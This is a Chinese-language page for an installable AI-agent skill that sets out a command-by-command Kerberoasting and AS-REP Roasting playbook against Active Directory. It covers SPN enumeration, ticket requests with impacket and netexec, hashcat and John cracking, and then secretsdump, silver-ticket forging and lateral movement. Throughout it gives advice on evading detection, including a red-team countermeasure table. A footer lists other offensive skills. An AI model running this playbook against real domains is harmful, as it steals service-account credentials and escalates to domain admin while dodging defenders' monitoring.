skills/lateral/kerberoast-attack/SKILL.md
Kerberoasting 与 AS-REP Roasting 完整攻击方法论。当拥有任意域用户凭据(Kerberoasting)或发现无需预认证的账户(AS-REP Roasting)时使用。覆盖 SPN 发现、票据请求、离线破解、AES vs RC4 策略选择
npx skillsauth add wgpsec/AboutSecurity kerberoast-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
核心价值:以任意域用户权限获取高权限服务账户密码 → 无需提权即可达到域管级别
# impacket — 最推荐
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request
# netexec
netexec ldap DC_IP -u user -p pass --kerberoasting output.txt
# 纯 LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" "(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName memberOf
# PowerShell(已在域内机器)
setspn -T domain -Q */*
# 或
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
加密类型选择:
├─ RC4 (etype 23) → hashcat mode 13100 → 破解速度快 ⭐
├─ AES256 (etype 18) → hashcat mode 19700 → 破解速度慢 10x
└─ AES128 (etype 17) → hashcat mode 19600 → 中等
策略:
├─ 默认 impacket 请求 RC4 → 最快破解
├─ 如果目标强制 AES → 只能接受慢速破解
├─ ⛔ 域控可能监控 RC4 TGS 请求 → OPSEC 风险!
└─ AES 请求更隐蔽(正常行为),但破解慢
OPSEC 考虑:
# 隐蔽方式:请求 AES 加密票据(看起来更正常)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP -request -outputfile hashes.txt
# 超隐蔽:只请求特定高价值 SPN(不枚举全部)
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC_IP \
-request -target-user svc_sql_admin
# ⛔ 避免:一次性请求所有 SPN 的票据 → 告警
# Hashcat — GPU 破解
hashcat -m 13100 hashes.txt wordlist.txt # RC4
hashcat -m 19700 hashes.txt wordlist.txt # AES256
hashcat -m 13100 hashes.txt wordlist.txt -r rules/best64.rule # 规则
# John the Ripper
john --format=krb5tgs hashes.txt --wordlist=wordlist.txt
# 字典选择优先级
├─ 1. 目标相关字典(公司名+年份+特殊字符)
├─ 2. rockyou.txt + 规则
├─ 3. 泄露密码库
└─ 4. 组合攻击(公司名 + 常见模式)
并非所有 SPN 账户都值得破解,优先级:
高价值(优先破解):
├─ 账户是 Domain Admins / Enterprise Admins 成员
├─ 账户名含 "admin" / "svc" / "sql" / "backup"
├─ 账户有 AdminCount=1 属性
├─ 账户在 BloodHound 攻击路径上
└─ 账户密码策略宽松(无强制复杂度)
判断方法:
ldapsearch ... "(&(servicePrincipalName=*)(adminCount=1))" sAMAccountName
# 无需凭据 — 枚举无需预认证的用户
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -usersfile users.txt \
-format hashcat -outputfile asrep_hashes.txt
# 有凭据 — 查询所有无需预认证的用户
impacket-GetNPUsers DOMAIN/user:pass -dc-ip DC_IP -request
# LDAP 查询
ldapsearch -H ldap://DC_IP -D "user@domain" -w "pass" \
-b "DC=domain,DC=com" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# netexec
netexec ldap DC_IP -u user -p pass --asreproast asrep.txt
# hashcat mode 18200
hashcat -m 18200 asrep_hashes.txt wordlist.txt -r rules/best64.rule
# john
john --format=krb5asrep asrep_hashes.txt --wordlist=wordlist.txt
拿到服务账户密码后:
├─ 使用凭据横向移动
│ netexec smb TARGETS -u svc_account -p 'cracked_pass'
├─ 如果是 DA/高权限
│ impacket-secretsdump DOMAIN/svc_admin:pass@DC_IP
├─ 申请 Silver Ticket(不经过 DC 验证)
│ impacket-ticketer -nthash HASH -domain-sid S-1-5-... -domain DOMAIN -spn ...
└─ 添加 SPN 到已控账户 → Targeted Kerberoasting
setspn -a http/fake svc_account # 让其他人可以对你 Kerberoast
| 蓝队检测 | 红队对策 | |----------|---------| | 大量 TGS 请求 (EventID 4769) | 只请求高价值目标,不全量枚举 | | RC4 降级检测 | 请求 AES256 票据(破解慢但隐蔽) | | 蜜罐 SPN 账户 | 对比 BloodHound 数据,排除异常 SPN | | 异常时间请求 | 业务时间操作 | | 特定账户大量票据 | 分散请求时间 |
| 工具 | 用途 | |------|------| | impacket-GetUserSPNs | Kerberoasting 票据请求 | | impacket-GetNPUsers | AS-REP Roasting | | netexec | 集成枚举与攻击 | | Rubeus | Windows 端 Kerberoasting(含 OPSEC 选项) | | hashcat | GPU 离线破解 | | BloodHound | 识别高价值 SPN 账户 |
testing
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能